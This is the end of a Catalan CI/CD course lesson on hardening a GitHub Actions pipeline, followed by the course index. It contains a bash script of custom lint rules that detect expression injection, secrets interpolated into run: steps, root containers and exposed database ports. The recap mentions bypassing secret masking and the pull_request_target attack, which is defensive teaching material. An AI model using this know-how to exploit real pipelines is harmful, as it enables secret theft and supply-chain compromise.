run: |
set -Eeuo pipefail
FALLADES=0
error() { echo "::error file=$1::$2"; FALLADES=$((FALLADES + 1)); }
# --- Regla 1: la imatge final MAI corre com a root ----------------
# Es comprova a l ULTIMA etapa: un USER en una etapa intermedia
# no protegeix res.
ULTIMA_ETAPA=$(awk '/^FROM /{n=NR} END{print n}' Dockerfile)
if ! awk -v inici="$ULTIMA_ETAPA" 'NR > inici && /^USER /' Dockerfile | grep -qv 'USER root'; then
error Dockerfile "La imatge final no declara cap USER no-root"
fi
# --- Regla 2: sense `latest` en cap imatge base ------------------
if grep -nE '^FROM .*:latest|^FROM [^:@]+$' Dockerfile; then
error Dockerfile "Imatge base sense versió fixada (:latest o sense tag)"
fi
# --- Regla 3: cap workflow amb permissions: write-all -------------
if grep -rn 'permissions: *write-all' .github/workflows/; then
error .github/workflows "permissions: write-all concedeix tots els permisos"
fi
# --- Regla 4: cap secret interpolat en un `run:` ------------------
# Els secrets han d entrar per `env:`, on l emmascarat i l abast
# funcionen millor i no acaben a l historial del shell.
if grep -rnP 'run:.*\$\{\{\s*secrets\.' .github/workflows/; then
error .github/workflows "Secret interpolat directament en un run:. Passa-l per env:"
fi
# --- Regla 5: sense dades d usuari interpolades en un `run:` ------
if grep -rnP 'run:[\s\S]{0,200}\$\{\{\s*github\.event\.(pull_request\.(title|body)|issue\.(title|body)|comment\.body)' .github/workflows/; then
error .github/workflows "Dada controlada per l'usuari interpolada en un run: (injecció d'expressions)"
fi
# --- Regla 6: sense ports de base de dades publicats al compose --
if grep -rnE '^\s+- .?(5432|3306|27017|6379):' ./*.yml observabilitat/*.yml 2>/dev/null; then
error docker-compose.yml "Port de base de dades publicat a l'amfitrió"
fi
if [ "$FALLADES" -gt 0 ]; then
echo "### ❌ $FALLADES regla/es de configuració incomplerta/es" >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "### ✅ Configuració conforme a les regles del projecte" >> "$GITHUB_STEP_SUMMARY"La regla 1 és la més instructiva: comprova el USER només a l'última etapa, perquè un USER node a l'etapa de build no afecta la imatge final. És el tipus d'error que una eina genèrica passa per alt i que una regla pròpia, escrita per algú que coneix el Dockerfile, sí que caça. Les regles pròpies no substitueixen les eines: cobreixen el que les eines no saben del teu projecte.
Repte opcional
Implementa una política d'admissió a l'estil Kubernetes: un job que, abans de desplegar, verifiqui en una sola passada que l'artefacte compleix tots els requisits —signat pel workflow correcte, amb SBOM adjunt, escanejat sense crítiques, construït des de main, amb procedència SLSA nivell 2— i que emeti un veredicte únic. És el mateix principi que Kyverno o Gatekeeper apliquen en un clúster: la política viu fora del pipeline i el pipeline la consulta, de manera que enfortir-la no requereix tocar tots els workflows. Si ho escrius com un script (scripts/admetre.sh) que retorna 0 o 1 amb un informe, el podràs reutilitzar tal qual al projecte final.
Què has construït
- Una auditoria documentada del teu propi pipeline, amb deu troballes classificades per severitat, i la seva correcció verificada.
- Mínim privilegi als cinc workflows, amb el permís per defecte del repositori tancat i l'experiència de llegir l'error quan en falta un.
- Totes les accions fixades per SHA, un script que ho automatitza, un control que impedeix la regressió i Dependabot mantenint-les al dia.
- Els cinc escaneigs: secrets (Gitleaks, amb
--redacti hook local), SCA (npm auditamb política perjq), SAST (CodeQL, amb una injecció real detectada i arreglada), imatge (Trivy ambignore-unfixed) i configuració (regles pròpies). - Una política de severitats escrita, amb excepcions que porten justificació, aprovador i data de caducitat, i un job que falla quan caduquen.
- Un secret filtrat expressament i el procediment complet de resposta executat en l'ordre correcte: rotar, investigar, netejar, prevenir, post-mortem.
- SBOM CycloneDX adjunt com a attestation i signatura keyless amb Cosign verificada abans de desplegar, comprovat amb una imatge falsa que el pipeline va rebutjar.
- La demostració pràctica que l'emmascarat de secrets es trenca amb cinc transformacions trivials, i les seves conseqüències.
- L'atac de
pull_request_targetentès a nivell de codi, amb les seves tres mitigacions.
Conclusió
El pipeline ja no és només capaç: és defensable. I convé fixar quina és la idea que sosté tot l'anterior, perquè no són deu eines sinó un únic principi aplicat deu vegades: cada baula de la cadena ha de poder demostrar d'on ve l'anterior. El codi ve d'un PR revisat sobre una branca protegida; les dependencies, d'un lockfile verificat i auditat; la imatge, d'un build reproduïble que ha deixat signatura i SBOM; el desplegament, d'una identitat efímera que només va existir durant deu minuts; i cadascun d'aquests passos comprova l'anterior en comptes de confiar-hi. Això és el que significa «cadena de subministrament segura», i és també el que fa que un incident sigui investigable: a cada punt hi ha una resposta a «qui ha posat això aquí i amb quina autoritat?».
També has après el que no es diu a les xerrades de seguretat: que el control que fa nosa es desactiva. Cada peça d'aquesta lliçó porta una via d'excepció explícita, amb nom, motiu i data, perquè l'alternativa —un || true a les onze de la nit— és pitjor que no tenir el control. La seguretat que sobreviu és la que es pot negociar per escrit.
Amb això es tanquen els cinc laboratoris guiats. Tens un pipeline complet d'extrem a extrem: integra, verifica en tres capes, construeix un artefacte immutable, l'escaneja, el signa, el desplega després d'una porta, el vigila, el reverteix sol si empitjora, i es mesura a si mateix. L'has construït pas a pas, seguint instruccions.
A la 07-06 no hi ha instruccions. El projecte final és l'encàrrec: un context d'empresa amb les seves restriccions i el seu pressupost, una llista de requisits obligatoris cadascun amb el seu criteri d'acceptació verificable —«un revisor extern ha de poder comprovar que…»—, uns lliurables (el repositori, un PIPELINE.md que justifiqui cada decisió i la seva contrapartida, un POSTMORTEM.md d'una fallada que provocaràs expressament, i un panell amb les mètriques), una rúbrica d'autoavaluació que et pots aplicar tot sol, i un pla de treball en cinc sessions. El construeixes tu, sobre el teu propi projecte si en tens o sobre Mini-Reservalia si no, i decidint què deixes fora i per què, que és la part que aquest mòdul encara no t'ha fet fer.
Curs de CI/CD: Integració i Desplegament Continu
Mòdul 1: Introducció al CI/CD
- Conceptes Bàsics de CI/CD
- Beneficis del CI/CD
- Eines Populars de CI/CD
- El Projecte del Curs: l'Aplicació que Automatitzarem
- Mètriques DORA: Com es Mesura el Lliurament de Programari
Mòdul 2: Integració Contínua (CI)
- Introducció a la Integració Contínua
- Configuració d'un Entorn de CI
- Automatització de la Construcció
- Proves Automatitzades
- Qualitat de Codi i Anàlisi Estàtica
- Artefactes, Versionat i Promoció
- Integració amb el Control de Versions
Mòdul 3: Desplegament Continu (CD)
- Introducció al Desplegament Continu
- Automatització del Desplegament
- Infraestructura com a Codi i Entorns Reproduïbles
- Estratègies de Desplegament
- Feature Flags, Rollback i Recuperació davant Errors
- Monitoratge i Retroalimentació
Mòdul 4: Pràctiques Avançades de CI/CD
- Pipelines de CI/CD
- Gestió de Dependències
- Seguretat en CI/CD
- Escalabilitat i Rendiment
- Pipeline as Code: Plantilles, Reutilització i Proves del Pipeline
- Bases de Dades al Pipeline: Migracions Segures
Mòdul 5: Implementació de CI/CD en Projectes Reals
- Cas d'Estudi: Projecte Web
- Cas d'Estudi: Aplicació Mòbil
- Cas d'Estudi: Microserveis
- Cas d'Estudi: Modernitzar un Projecte Legacy
Mòdul 6: Eines i Tecnologies
- Jenkins
- GitLab CI/CD
- CircleCI
- Travis CI
- Docker i Kubernetes
- GitHub Actions a Fons
- Comparativa i Criteris per Triar Eina
Mòdul 7: Exercicis Pràctics
- Exercici 1: Configuració d'un Pipeline Bàsic
- Exercici 2: Integració de Proves Automatitzades
- Exercici 3: Desplegament en un Entorn de Producció
- Exercici 4: Monitoratge i Retroalimentació
- Exercici 5: Enfortir el Pipeline amb Seguretat i Secrets
- Projecte Final: Pipeline Complet d'Extrem a Extrem
